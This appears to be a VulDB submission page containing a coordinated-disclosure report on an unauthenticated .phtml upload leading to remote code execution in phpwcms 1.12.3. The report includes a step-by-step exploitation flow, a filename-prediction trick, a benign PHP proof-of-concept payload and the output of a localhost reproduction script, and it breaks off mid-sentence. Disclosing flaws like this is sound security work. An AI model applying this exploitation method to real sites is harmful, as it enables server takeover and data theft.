| tiêu đề | slackero phpwcms <= 1.12.3 Unrestricted Upload / Remote Code Execution (CWE-434) |
|---|
| Mô tả | ---
title: "phpwcms 1.12.3 public Form upload permits unauthenticated .phtml upload and remote code execution"
status: private-draft
confidential: true
reporter: capivara-research
product: phpwcms
tested_version: 1.12.3
tested_commit: b8ebd5c8f2e21d187fc006fd8e9f72cfcac9c5cc
component: include/inc_front/content/cnt23.article.inc.php
weakness: CWE-434
severity: Critical
cvss_v3_1: "9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)"
date: 2026-08-21
---
# Private Security Report: Unauthenticated `.phtml` Upload to RCE
> **Confidential:** This report and its proof of concept are intended only for the phpwcms maintainer until a fix and coordinated disclosure are available.
## Executive Summary
The public Form content part accepts an uploaded `.phtml` file when no explicit `accept` list is configured. The default extension denylist blocks `.php`, but it does not block `.phtml`. The uploaded file is written with its dangerous extension to the web-accessible `content/form` directory.
The distributed `content/form/.htaccess` denies only `*.php`. A standard Debian Apache PHP configuration maps `.phtml` to the PHP handler. Consequently, an unauthenticated visitor can upload PHP code through a public form, predict the server-generated filename from the HTTP `Date` header, request the uploaded file, and execute arbitrary PHP code.
This was reproduced end to end on phpwcms 1.12.3 without disabling form tracking or authentication controls. A normal anti-spam hidden field was obtained by first requesting the public form.
## Suggested Classification
- **CWE:** CWE-434, Unrestricted Upload of File with Dangerous Type
- **Suggested severity:** Critical
- **Suggested CVSS 3.1:** `9.8`
- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
The score applies when a public Form content part contains an upload field using the default denylist and the web server executes `.phtml`, as standard Debian Apache/mod_php does. On servers that do not execute `.phtml`, direct RCE may not occur, but a dangerous attacker-controlled file is still stored beneath the document root.
## Affected Configuration and Preconditions
The tested configuration has:
1. phpwcms 1.12.3.
2. A publicly reachable Form content part (`content type 23`).
3. An upload field in that form.
4. No explicit `accept` list restricting the field to safe extensions.
5. The default upload folder, `content/form`.
6. Apache configured to execute `.phtml` as PHP.
No phpwcms account or backend access is required. The administrator only needs to have published an ordinary form containing an upload field.
## Tested Environment
| Component | Tested value |
|---|---|
| phpwcms | 1.12.3 |
| Git commit | `b8ebd5c8f2e21d187fc006fd8e9f72cfcac9c5cc` |
| Release date | 2026-07-19 |
| PHP | 8.4.24 |
| Apache | 2.4.68 (Debian) |
| MariaDB | 11.8.8 |
| Lab target | `http://127.0.0.1:8098/` |
| Form tracking | Enabled |
| Authentication | None, public frontend form |
The repository documents Apache with `.htaccess` as a supported deployment: https://github.com/slackero/phpwcms
## Root Cause
### 1. Incomplete default denylist
`include/inc_front/content/cnt23.article.inc.php:1177-1186` selects the web-accessible upload folder and defines a denylist that omits `.phtml` and other server-dependent executable extensions:
```php
if(empty($cnt_form['upload_value']['folder'])) {
$cnt_form['upload_value']['folder'] = 'content/form';
}
if(empty($cnt_form['upload_value']['exclude'])) {
$cnt_form['upload_value']['exclude'] = 'php,asp,php3,php4,php5,aspx,cfm,js,exe,com,bat,app,sh,jar,java';
}
```
### 2. Validation uses only the client filename extension
`include/inc_front/content/cnt23.article.inc.php:1206-1231` creates a regular expression from that denylist and then moves the file directly into the selected folder:
```php
if(empty($cnt_form['upload_value']['accept'])) {
$cnt_form['upload_value']['exclude'] = convertStringToArray($cnt_form['upload_value']['exclude'], ',');
$cnt_form['upload_value']['exclude'] = implode('|', $cnt_form['upload_value']['exclude']);
$cnt_form['upload_value']['regexp'] = '/(\.'.$cnt_form['upload_value']['exclude'].')$/';
}
$cnt_form['upload_value']['filename'] = time().'_'.sanitize_filename($_FILES[$POST_name]['name']);
if(
(!empty($cnt_form['upload_value']['exclude']) && preg_match($cnt_form['upload_value']['regexp'], strtolower($_FILES[$POST_name]['name'])))
||
!@move_uploaded_file(
$_FILES[$POST_name]['tmp_name'],
PHPWCMS_ROOT.'/'.$cnt_form['upload_value']['folder'].'/'.$cnt_form['upload_value']['filename']
)
) {
// Error handling omitted.
}
```
`sanitize_filename()` removes path separators and special characters, but intentionally preserves the extension. It therefore does not neutralize `.phtml`.
### 3. The provided directory protection blocks only `.php`
The complete distributed `content/form/.htaccess` is:
```apache
<Files *.php>
Order allow,deny
Deny from all
</Files>
```
This does not match `.phtml`.
### 4. Standard Apache/PHP maps `.phtml` to PHP
The tested Debian PHP module configuration contains:
```apache
<FilesMatch "\.ph(?:ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
```
Therefore, a request for an uploaded `.phtml` file executes it as PHP.
## End-to-End Reproduction
### Benign payload
The PoC does not run operating-system commands. It only prints a fixed marker and the PHP version:
```php
<?php
echo 'PHPWCMS_PHTML_RCE_PROOF_' . PHP_VERSION;
?>
```
SHA-256:
```text
6465009477779a1166fd8fd19e914455028d2ce46281fa740955d0a44ed54edc poc.phtml
```
### Manual HTTP flow
1. Request the public page containing the upload form.
2. Extract the normal hidden `cpID` field and form-tracking field from the HTML.
3. Submit `positive.phtml` in the upload field using `multipart/form-data`.
4. Read the HTTP `Date` header from the POST response.
5. Try the small timestamp window as `content/form/<unix_timestamp>_positive.phtml`.
6. Request the matching URL and observe the PHP-generated marker.
The tested form exposed these fields:
```html
<input type="file" name="proof" id="proof" />
<input type="hidden" name="cpID1" value="1" />
<input type="hidden" name="61303361c5eabca6b1326af4ac2c6542" value="1787353672" />
```
The second hidden field is session/request-specific. An attacker obtains it from the initial GET rather than hard-coding it.
### Automated local reproduction
The attached `reproduce-local.sh` is deliberately restricted to `127.0.0.1` or `localhost` targets. Run it against an isolated phpwcms installation:
```bash
./reproduce-local.sh http://127.0.0.1:8098/ /tmp/phpwcms-lab/content/form
```
Actual output:
```text
Negative control: .php rejected (no new .php file)
Positive control: .phtml saved as 1787353672_positive.phtml
Remote discovery: http://127.0.0.1:8098/content/form/1787353672_positive.phtml
Execution response: PHPWCMS_PHTML_RCE_PROOF_8.4.24
Evidence: /root/cve-research/international/phpwcms-lab/evidence/reproduction
```
### Negative control
Uploading the same benign structure with a `.php` extension was rejected by the existing denylist. The page returned:
```html
<div class="form-error on-send">
<p>Upload failed</p>
...
<td class="error">Upload error</td>
```
The file listing was unchanged after the `.php` request. This demonstrates that the upload control is active and that `.phtml` is a specific extension-filter bypass rather than a disabled validation path.
### Positive control
The `.phtml` upload added exactly one file:
```text
1787353672_positive.phtml
```
The server returned this timestamp in the upload response:
```http
HTTP/1.1 200 OK
Date: Fri, 21 Aug 2026 23:07:52 GMT
Server: Apache/2.4.68 (Debian)
X-phpwcms-Release: 1.12.3
```
Converting the `Date` value
Vendor coordination
Vendor contacted via GHSA-2c7r-324f-fxm4.
CVE assignment requested from VulDB; no CVE known at submission time. |
|---|
| Nguồn | ⚠️ https://github.com/slackero/phpwcms/security/advisories/GHSA-2c7r-324f-fxm4 |
|---|
| Người dùng | fernando viana (UID 101484) |
|---|
| Đệ trình | 21/09/2026 02:15 (cách đây 24 ngày) |
|---|
| Kiểm duyệt | 13/10/2026 17:12 (23 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 417752 [slackero phpwcms đến 1.9.49/1.12.3 Extension Check cnt23.article.inc.php POST_name nâng cao đặc quyền] |
|---|
| điểm | 20 |
|---|